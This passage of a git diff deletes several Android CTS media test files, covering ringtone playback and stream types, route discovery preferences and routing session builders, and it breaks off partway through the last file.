-    public void testSetType() {
-        if (!isSupportedDevice()) return;
-
-        mRingtoneManager.setType(RingtoneManager.TYPE_ALARM);
-        assertEquals(AudioManager.STREAM_ALARM, mRingtoneManager.inferStreamType());
-        Cursor c = mRingtoneManager.getCursor();
-        assertTrue("Must have at least one alarm tone available", c.getCount() > 0);
-        Ringtone r = mRingtoneManager.getRingtone(0);
-        assertEquals(RingtoneManager.TYPE_ALARM, r.getStreamType());
-    }
-
-    public void testStopPreviousRingtone() {
-        if (!isSupportedDevice()) return;
-
-        Cursor c = mRingtoneManager.getCursor();
-        assertTrue("Must have at least one ring tone available", c.getCount() > 0);
-
-        Preconditions.assertTestFileExists(mInpPrefix + "john_cage.ogg");
-        mRingtoneManager.setStopPreviousRingtone(true);
-        assertTrue(mRingtoneManager.getStopPreviousRingtone());
-        Uri uri = Uri.parse(mInpPrefix + "john_cage.ogg");
-        Ringtone ringtone = RingtoneManager.getRingtone(mContext, uri);
-        ringtone.play();
-        assertTrue(ringtone.isPlaying());
-        ringtone.stop();
-        assertFalse(ringtone.isPlaying());
-        Ringtone newRingtone = mRingtoneManager.getRingtone(0);
-        assertFalse(ringtone.isPlaying());
-        newRingtone.play();
-        assertTrue(newRingtone.isPlaying());
-        mRingtoneManager.stopPreviousRingtone();
-        assertFalse(newRingtone.isPlaying());
-    }
-
-    public void testQuery() {
-        if (!isSupportedDevice()) return;
-
-        final Cursor c = mRingtoneManager.getCursor();
-        assertTrue(c.moveToFirst());
-        assertTrue(c.getInt(RingtoneManager.ID_COLUMN_INDEX) >= 0);
-        assertTrue(c.getString(RingtoneManager.TITLE_COLUMN_INDEX) != null);
-        assertTrue(c.getString(RingtoneManager.URI_COLUMN_INDEX),
-                c.getString(RingtoneManager.URI_COLUMN_INDEX).startsWith("content://"));
-    }
-
-    public void testHasHapticChannels() {
-        if (!isSupportedDevice()) return;
-
-        Cursor c = mRingtoneManager.getCursor();
-        assertTrue("Must have at lease one ringtone available", c.getCount() > 0);
-        mRingtoneManager.hasHapticChannels(0);
-
-        final String uriPrefix = ContentResolver.SCHEME_ANDROID_RESOURCE + "://" +
-                mContext.getPackageName() + "/raw/";
-        assertTrue(RingtoneManager.hasHapticChannels(Uri.parse(uriPrefix + "a_4_haptic")));
-        assertFalse(RingtoneManager.hasHapticChannels(Uri.parse(uriPrefix + "a_4")));
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RingtonePickerActivity.java b/tests/tests/media/src/android/media/cts/RingtonePickerActivity.java
deleted file mode 100644
index 9e7139c..0000000
--- a/tests/tests/media/src/android/media/cts/RingtonePickerActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.app.Activity;
-
-/**
- * This activity is just for create a RingtoneManager
- */
-public class RingtonePickerActivity extends Activity {
-}
diff --git a/tests/tests/media/src/android/media/cts/RingtoneTest.java b/tests/tests/media/src/android/media/cts/RingtoneTest.java
deleted file mode 100644
index 60d2892..0000000
--- a/tests/tests/media/src/android/media/cts/RingtoneTest.java
+++ /dev/null
@@ -1,206 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioAttributes;
-import android.media.AudioManager;
-import android.media.Ringtone;
-import android.media.RingtoneManager;
-import android.media.audiofx.HapticGenerator;
-import android.net.Uri;
-import android.os.Build;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class RingtoneTest extends InstrumentationTestCase {
-    private static final String TAG = "RingtoneTest";
-
-    private Context mContext;
-    private Ringtone mRingtone;
-    private AudioManager mAudioManager;
-    private int mOriginalVolume;
-    private int mOriginalRingerMode;
-    private int mOriginalStreamType;
-    private Uri mDefaultRingUri;
-
-    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        enableAppOps();
-        mContext = getInstrumentation().getContext();
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        mRingtone = RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI);
-        // backup ringer settings
-        mOriginalRingerMode = mAudioManager.getRingerMode();
-        mOriginalVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
-        mOriginalStreamType = mRingtone.getStreamType();
-
-        int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_RING);
-
-        if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_VIBRATE) {
-            mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
-                    AudioManager.FLAG_ALLOW_RINGER_MODES);
-        } else if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_NORMAL) {
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
-                    AudioManager.FLAG_ALLOW_RINGER_MODES);
-        } else {
-            try {
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), true);
-                // set ringer to a reasonable volume
-                mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
-                        AudioManager.FLAG_ALLOW_RINGER_MODES);
-                // make sure that we are not in silent mode
-                mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
-            } finally {
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), false);
-            }
-        }
-
-        mDefaultRingUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
-                RingtoneManager.TYPE_RINGTONE);
-    }
-
-    private void enableAppOps() {
-        StringBuilder cmd = new StringBuilder();
-        cmd.append("appops set ");
-        cmd.append(getInstrumentation().getContext().getPackageName());
-        cmd.append(" android:write_settings allow");
-        getInstrumentation().getUiAutomation().executeShellCommand(cmd.toString());
-        try {
-            Thread.sleep(2200);
-        } catch (InterruptedException e) {
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // restore original settings
-        if (mRingtone != null) {
-            if (mRingtone.isPlaying()) mRingtone.stop();
-            mRingtone.setStreamType(mOriginalStreamType);
-        }
-        if (mAudioManager != null) {
-            try {
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), true);
-                mAudioManager.setRingerMode(mOriginalRingerMode);
-                mAudioManager.setStreamVolume(AudioManager.STREAM_RING, mOriginalVolume,
-                        AudioManager.FLAG_ALLOW_RINGER_MODES);
-            } finally {
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), false);
-            }
-        }
-        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE,
-                mDefaultRingUri);
-        super.tearDown();
-    }
-
-    private boolean hasAudioOutput() {
-        return getInstrumentation().getContext().getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
-    }
-
-    private boolean isTV() {
-        return getInstrumentation().getContext().getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
-    }
-
-    public void testRingtone() {
-        if (isTV()) {
-            return;
-        }
-        if (!hasAudioOutput()) {
-            Log.i(TAG, "Skipping testRingtone(): device doesn't have audio output.");
-            return;
-        }
-
-        assertNotNull(mRingtone.getTitle(mContext));
-        assertTrue(mOriginalStreamType >= 0);
-
-        mRingtone.setStreamType(AudioManager.STREAM_MUSIC);
-        assertEquals(AudioManager.STREAM_MUSIC, mRingtone.getStreamType());
-        mRingtone.setStreamType(AudioManager.STREAM_ALARM);
-        assertEquals(AudioManager.STREAM_ALARM, mRingtone.getStreamType());
-        // make sure we play on STREAM_RING because we the volume on this stream is not 0
-        mRingtone.setStreamType(AudioManager.STREAM_RING);
-        assertEquals(AudioManager.STREAM_RING, mRingtone.getStreamType());
-
-        // test both the "None" ringtone and an actual ringtone
-        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, null);
-        mRingtone = RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI);
-        assertTrue(mRingtone.getStreamType() == AudioManager.STREAM_RING);
-        mRingtone.play();
-        assertFalse(mRingtone.isPlaying());
-
-        Uri uri = RingtoneManager.getValidRingtoneUri(mContext);
-        assertNotNull("ringtone was unexpectedly null", uri);
-        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
-        mRingtone = RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI);
-        assertTrue(mRingtone.getStreamType() == AudioManager.STREAM_RING);
-        mRingtone.play();
-        assertTrue("couldn't play ringtone " + uri, mRingtone.isPlaying());
-        mRingtone.stop();
-        assertFalse(mRingtone.isPlaying());
-    }
-
-    public void testPlaybackProperties() {
-        if (isTV()) {
-            return;
-        }
-        if (!hasAudioOutput()) {
-            Log.i(TAG, "Skipping testRingtone(): device doesn't have audio output.");
-            return;
-        }
-
-        Uri uri = RingtoneManager.getValidRingtoneUri(mContext);
-        assertNotNull("ringtone was unexpectedly null", uri);
-        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
-        assertNotNull(mRingtone.getTitle(mContext));
-        final AudioAttributes ringtoneAa = new AudioAttributes.Builder()
-                .setUsage(AudioAttributes.USAGE_NOTIFICATION_RINGTONE).
-                build();
-        mRingtone.setAudioAttributes(ringtoneAa);
-        assertEquals(ringtoneAa, mRingtone.getAudioAttributes());
-        mRingtone.setLooping(true);
-        mRingtone.setVolume(0.5f);
-        if (sIsAtLeastS) {
-            assertEquals(HapticGenerator.isAvailable(), mRingtone.setHapticGeneratorEnabled(true));
-        }
-        mRingtone.play();
-        assertTrue("couldn't play ringtone " + uri, mRingtone.isPlaying());
-        assertTrue(mRingtone.isLooping());
-        if (sIsAtLeastS) {
-            assertEquals(HapticGenerator.isAvailable(), mRingtone.isHapticGeneratorEnabled());
-        }
-        assertEquals("invalid ringtone player volume", 0.5f, mRingtone.getVolume());
-        mRingtone.stop();
-        assertFalse(mRingtone.isPlaying());
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RouteDiscoveryPreferenceTest.java b/tests/tests/media/src/android/media/cts/RouteDiscoveryPreferenceTest.java
deleted file mode 100644
index 2891d4a..0000000
--- a/tests/tests/media/src/android/media/cts/RouteDiscoveryPreferenceTest.java
+++ /dev/null
@@ -1,212 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertTrue;
-import static org.testng.Assert.assertThrows;
-
-import android.media.RouteDiscoveryPreference;
-import android.os.Parcel;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-@NonMediaMainlineTest
-public class RouteDiscoveryPreferenceTest {
-
-    private static final String TEST_FEATURE_1 = "TEST_FEATURE_1";
-    private static final String TEST_FEATURE_2 = "TEST_FEATURE_2";
-
-    @Test
-    public void testBuilderConstructorWithNull() {
-        // Tests null preferredFeatures
-        assertThrows(NullPointerException.class,
-                () -> new RouteDiscoveryPreference.Builder(null, true));
-
-        // Tests null RouteDiscoveryPreference
-        assertThrows(NullPointerException.class,
-                () -> new RouteDiscoveryPreference.Builder((RouteDiscoveryPreference) null));
-    }
-
-    @Test
-    public void testBuilderSetPreferredFeaturesWithNull() {
-        RouteDiscoveryPreference.Builder builder =
-                new RouteDiscoveryPreference.Builder(new ArrayList<>(), true);
-
-        assertThrows(NullPointerException.class, () -> builder.setPreferredFeatures(null));
-    }
-
-    @Test
-    public void testGetters() {
-        final List<String> features = new ArrayList<>();
-        features.add(TEST_FEATURE_1);
-        features.add(TEST_FEATURE_2);
-
-        RouteDiscoveryPreference preference =
-                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
-        assertEquals(features, preference.getPreferredFeatures());
-        assertTrue(preference.shouldPerformActiveScan());
-        assertEquals(0, preference.describeContents());
-    }
-
-    @Test
-    public void testBuilderSetPreferredFeatures() {
-        final List<String> features = new ArrayList<>();
-        features.add(TEST_FEATURE_1);
-        features.add(TEST_FEATURE_2);
-
-        RouteDiscoveryPreference preference =
-                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
-
-        final List<String> newFeatures = new ArrayList<>();
-        newFeatures.add(TEST_FEATURE_1);
-
-        // Using copy constructor, we only change the setPreferredFeatures.
-        RouteDiscoveryPreference newPreference = new RouteDiscoveryPreference.Builder(preference)
-                .setPreferredFeatures(newFeatures)
-                .build();
-
-        assertEquals(newFeatures, newPreference.getPreferredFeatures());
-        assertTrue(newPreference.shouldPerformActiveScan());
-    }
-
-    @Test
-    public void testBuilderSetActiveScan() {
-        final List<String> features = new ArrayList<>();
-        features.add(TEST_FEATURE_1);
-        features.add(TEST_FEATURE_2);
-
-        RouteDiscoveryPreference preference =
-                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
-
-        // Using copy constructor, we only change the activeScan to 'false'.
-        RouteDiscoveryPreference newPreference = new RouteDiscoveryPreference.Builder(preference)
-                .setShouldPerformActiveScan(false)
-                .build();
-
-        assertEquals(features, newPreference.getPreferredFeatures());
-        assertFalse(newPreference.shouldPerformActiveScan());
-    }
-
-    @Test
-    public void testEqualsCreatedWithSameArguments() {
-        final List<String> features = new ArrayList<>();
-        features.add(TEST_FEATURE_1);
-        features.add(TEST_FEATURE_2);
-
-        RouteDiscoveryPreference preference1 =
-                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
-
-        RouteDiscoveryPreference preference2 =
-                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
-
-        assertEquals(preference1, preference2);
-    }
-
-    @Test
-    public void testEqualsCreatedWithBuilderCopyConstructor() {
-        final List<String> features = new ArrayList<>();
-        features.add(TEST_FEATURE_1);
-        features.add(TEST_FEATURE_2);
-
-        RouteDiscoveryPreference preference1 =
-                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
-
-        RouteDiscoveryPreference preference2 =
-                new RouteDiscoveryPreference.Builder(preference1).build();
-
-        assertEquals(preference1, preference2);
-    }
-
-    @Test
-    public void testEqualsReturnFalse() {
-        final List<String> features = new ArrayList<>();
-        features.add(TEST_FEATURE_1);
-        features.add(TEST_FEATURE_2);
-
-        RouteDiscoveryPreference preference =
-                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
-
-        RouteDiscoveryPreference preferenceWithDifferentFeatures =
-                new RouteDiscoveryPreference.Builder(new ArrayList<>(), true /* isActiveScan */)
-                        .build();
-        assertNotEquals(preference, preferenceWithDifferentFeatures);
-
-        RouteDiscoveryPreference preferenceWithDifferentActiveScan =
-                new RouteDiscoveryPreference.Builder(features, false /* isActiveScan */)
-                        .build();
-        assertNotEquals(preference, preferenceWithDifferentActiveScan);
-    }
-
-    @Test
-    public void testEqualsReturnFalseWithCopyConstructor() {
-        final List<String> features = new ArrayList<>();
-        features.add(TEST_FEATURE_1);
-        features.add(TEST_FEATURE_2);
-
-        RouteDiscoveryPreference preference =
-                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
-
-        final List<String> newFeatures = new ArrayList<>();
-        newFeatures.add(TEST_FEATURE_1);
-        RouteDiscoveryPreference preferenceWithDifferentFeatures =
-                new RouteDiscoveryPreference.Builder(preference)
-                        .setPreferredFeatures(newFeatures)
-                        .build();
-        assertNotEquals(preference, preferenceWithDifferentFeatures);
-
-        RouteDiscoveryPreference preferenceWithDifferentActiveScan =
-                new RouteDiscoveryPreference.Builder(preference)
-                        .setShouldPerformActiveScan(false)
-                        .build();
-        assertNotEquals(preference, preferenceWithDifferentActiveScan);
-    }
-
-    @Test
-    public void testParcelingAndUnParceling() {
-        final List<String> features = new ArrayList<>();
-        features.add(TEST_FEATURE_1);
-        features.add(TEST_FEATURE_2);
-
-        RouteDiscoveryPreference preference =
-                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
-
-        Parcel parcel = Parcel.obtain();
-        parcel.writeParcelable(preference, 0);
-        parcel.setDataPosition(0);
-
-        RouteDiscoveryPreference preferenceFromParcel = parcel.readParcelable(null);
-        assertEquals(preference, preferenceFromParcel);
-        parcel.recycle();
-
-        // In order to mark writeToParcel as tested, we let's just call it directly.
-        Parcel dummyParcel = Parcel.obtain();
-        preference.writeToParcel(dummyParcel, 0);
-        dummyParcel.recycle();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RoutingSessionInfoTest.java b/tests/tests/media/src/android/media/cts/RoutingSessionInfoTest.java
deleted file mode 100644
index 3ff5e24..0000000
--- a/tests/tests/media/src/android/media/cts/RoutingSessionInfoTest.java
+++ /dev/null
@@ -1,591 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.testng.Assert.assertThrows;
-
-import android.media.RoutingSessionInfo;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-/**
- * Tests {@link RoutingSessionInfo} and its {@link RoutingSessionInfo.Builder builder}.
- */
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-@NonMediaMainlineTest
-public class RoutingSessionInfoTest {
-    public static final String TEST_ID = "test_id";
-    public static final String TEST_CLIENT_PACKAGE_NAME = "com.test.client.package.name";
-    public static final String TEST_NAME = "test_name";
-    public static final String TEST_OTHER_NAME = "test_other_name";
-
-    public static final String TEST_ROUTE_ID_0 = "test_route_type_0";
-    public static final String TEST_ROUTE_ID_1 = "test_route_type_1";
-    public static final String TEST_ROUTE_ID_2 = "test_route_type_2";
-    public static final String TEST_ROUTE_ID_3 = "test_route_type_3";
-    public static final String TEST_ROUTE_ID_4 = "test_route_type_4";
-    public static final String TEST_ROUTE_ID_5 = "test_route_type_5";
-    public static final String TEST_ROUTE_ID_6 = "test_route_type_6";
-    public static final String TEST_ROUTE_ID_7 = "test_route_type_7";
-
-    public static final String TEST_KEY = "test_key";
-    public static final String TEST_VALUE = "test_value";
-
-    public static final int TEST_VOLUME_HANDLING = PLAYBACK_VOLUME_VARIABLE;
-    public static final int TEST_VOLUME_MAX = 100;
-    public static final int TEST_VOLUME = 65;
-    @Test
-    public void testBuilderConstructorWithInvalidValues() {
-        final String nullId = null;
-        final String nullClientPackageName = null;
-
-        final String emptyId = "";
-        // Note: An empty string as client package name is valid.
-
-        final String validId = TEST_ID;
-        final String validClientPackageName = TEST_CLIENT_PACKAGE_NAME;
-
-        // ID is invalid
-        assertThrows(IllegalArgumentException.class, () -> new RoutingSessionInfo.Builder(
-                nullId, validClientPackageName));
-        assertThrows(IllegalArgumentException.class, () -> new RoutingSessionInfo.Builder(
-                emptyId, validClientPackageName));
-
-        // client package name is invalid (null)
-        assertThrows(NullPointerException.class, () -> new RoutingSessionInfo.Builder(
-                validId, nullClientPackageName));
-
-        // Both are invalid
-        assertThrows(IllegalArgumentException.class, () -> new RoutingSessionInfo.Builder(
-                nullId, nullClientPackageName));
-        assertThrows(IllegalArgumentException.class, () -> new RoutingSessionInfo.Builder(
-                emptyId, nullClientPackageName));
-    }
-
-    @Test
-    public void testBuilderCopyConstructorWithNull() {
-        // Null RouteInfo (1-argument constructor)
-        final RoutingSessionInfo nullRoutingSessionInfo = null;
-        assertThrows(NullPointerException.class,
-                () -> new RoutingSessionInfo.Builder(nullRoutingSessionInfo));
-    }
-
-    @Test
-    public void testBuilderConstructorWithEmptyClientPackageName() {
-        // An empty string for client package name is valid. (for unknown cases)
-        // Creating builder with it should not throw any exception.
-        RoutingSessionInfo.Builder builder = new RoutingSessionInfo.Builder(
-                TEST_ID, "" /* clientPackageName*/);
-    }
-
-    @Test
-    public void testBuilderBuildWithEmptySelectedRoutesThrowsIAE() {
-        RoutingSessionInfo.Builder builder = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME);
-        // Note: Calling build() without adding any selected routes.
-        assertThrows(IllegalArgumentException.class, () -> builder.build());
-    }
-
-    @Test
-    public void testBuilderAddRouteMethodsWithIllegalArgumentsThrowsIAE() {
-        RoutingSessionInfo.Builder builder = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME);
-
-        final String nullRouteId = null;
-        final String emptyRouteId = "";
-
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSelectedRoute(nullRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSelectableRoute(nullRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addDeselectableRoute(nullRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addTransferableRoute(nullRouteId));
-
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSelectedRoute(emptyRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addSelectableRoute(emptyRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addDeselectableRoute(emptyRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.addTransferableRoute(emptyRouteId));
-    }
-
-    @Test
-    public void testBuilderRemoveRouteMethodsWithIllegalArgumentsThrowsIAE() {
-        RoutingSessionInfo.Builder builder = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME);
-
-        final String nullRouteId = null;
-        final String emptyRouteId = "";
-
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.removeSelectedRoute(nullRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.removeSelectableRoute(nullRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.removeDeselectableRoute(nullRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.removeTransferableRoute(nullRouteId));
-
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.removeSelectedRoute(emptyRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.removeSelectableRoute(emptyRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.removeDeselectableRoute(emptyRouteId));
-        assertThrows(IllegalArgumentException.class,
-                () -> builder.removeTransferableRoute(emptyRouteId));
-    }
-
-    @Test
-    public void testBuilderAndGettersOfRoutingSessionInfo() {
-        Bundle controlHints = new Bundle();
-        controlHints.putString(TEST_KEY, TEST_VALUE);
-
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .setName(TEST_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setControlHints(controlHints)
-                .build();
-
-        assertEquals(TEST_ID, sessionInfo.getId());
-        assertEquals(TEST_CLIENT_PACKAGE_NAME, sessionInfo.getClientPackageName());
-        assertEquals(TEST_NAME, sessionInfo.getName());
-
-        assertEquals(2, sessionInfo.getSelectedRoutes().size());
-        assertEquals(TEST_ROUTE_ID_0, sessionInfo.getSelectedRoutes().get(0));
-        assertEquals(TEST_ROUTE_ID_1, sessionInfo.getSelectedRoutes().get(1));
-
-        assertEquals(2, sessionInfo.getSelectableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_2, sessionInfo.getSelectableRoutes().get(0));
-        assertEquals(TEST_ROUTE_ID_3, sessionInfo.getSelectableRoutes().get(1));
-
-        assertEquals(2, sessionInfo.getDeselectableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_4, sessionInfo.getDeselectableRoutes().get(0));
-        assertEquals(TEST_ROUTE_ID_5, sessionInfo.getDeselectableRoutes().get(1));
-
-        assertEquals(2, sessionInfo.getTransferableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_6, sessionInfo.getTransferableRoutes().get(0));
-        assertEquals(TEST_ROUTE_ID_7, sessionInfo.getTransferableRoutes().get(1));
-
-        assertEquals(TEST_VOLUME_HANDLING, sessionInfo.getVolumeHandling());
-        assertEquals(TEST_VOLUME_MAX, sessionInfo.getVolumeMax());
-        assertEquals(TEST_VOLUME, sessionInfo.getVolume());
-
-        Bundle controlHintsOut = sessionInfo.getControlHints();
-        assertNotNull(controlHintsOut);
-        assertTrue(controlHintsOut.containsKey(TEST_KEY));
-        assertEquals(TEST_VALUE, controlHintsOut.getString(TEST_KEY));
-    }
-
-    @Test
-    public void testBuilderAddRouteMethodsWithBuilderCopyConstructor() {
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addTransferableRoute(TEST_ROUTE_ID_6)
-                .build();
-
-        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .addTransferableRoute(TEST_ROUTE_ID_7)
-                .build();
-
-        assertEquals(2, newSessionInfo.getSelectedRoutes().size());
-        assertEquals(TEST_ROUTE_ID_0, newSessionInfo.getSelectedRoutes().get(0));
-        assertEquals(TEST_ROUTE_ID_1, newSessionInfo.getSelectedRoutes().get(1));
-
-        assertEquals(2, newSessionInfo.getSelectableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_2, newSessionInfo.getSelectableRoutes().get(0));
-        assertEquals(TEST_ROUTE_ID_3, newSessionInfo.getSelectableRoutes().get(1));
-
-        assertEquals(2, newSessionInfo.getDeselectableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_4, newSessionInfo.getDeselectableRoutes().get(0));
-        assertEquals(TEST_ROUTE_ID_5, newSessionInfo.getDeselectableRoutes().get(1));
-
-        assertEquals(2, newSessionInfo.getTransferableRoutes().size());
-        assertEquals(TEST_ROUTE_ID_6, newSessionInfo.getTransferableRoutes().get(0));
-        assertEquals(TEST_ROUTE_ID_7, newSessionInfo.getTransferableRoutes().get(1));
-    }
-
-    @Test
-    public void testBuilderRemoveRouteMethods() {
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
-                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
-                .addSelectedRoute(TEST_ROUTE_ID_0)
-                .addSelectedRoute(TEST_ROUTE_ID_1)
-                .removeSelectedRoute(TEST_ROUTE_ID_1)
-
-                .addSelectableRoute(TEST_ROUTE_ID_2)
-                .addSelectableRoute(TEST_ROUTE_ID_3)
-                .removeSelectableRoute(TEST_ROUTE_ID_3)
-
-                .addDeselectableRoute(TEST_ROUTE_ID_4)
-                .addDeselectableRoute(TEST_ROUTE_ID_5)
-                .removeDeselectableRoute(TEST_ROUTE_ID_5)
-
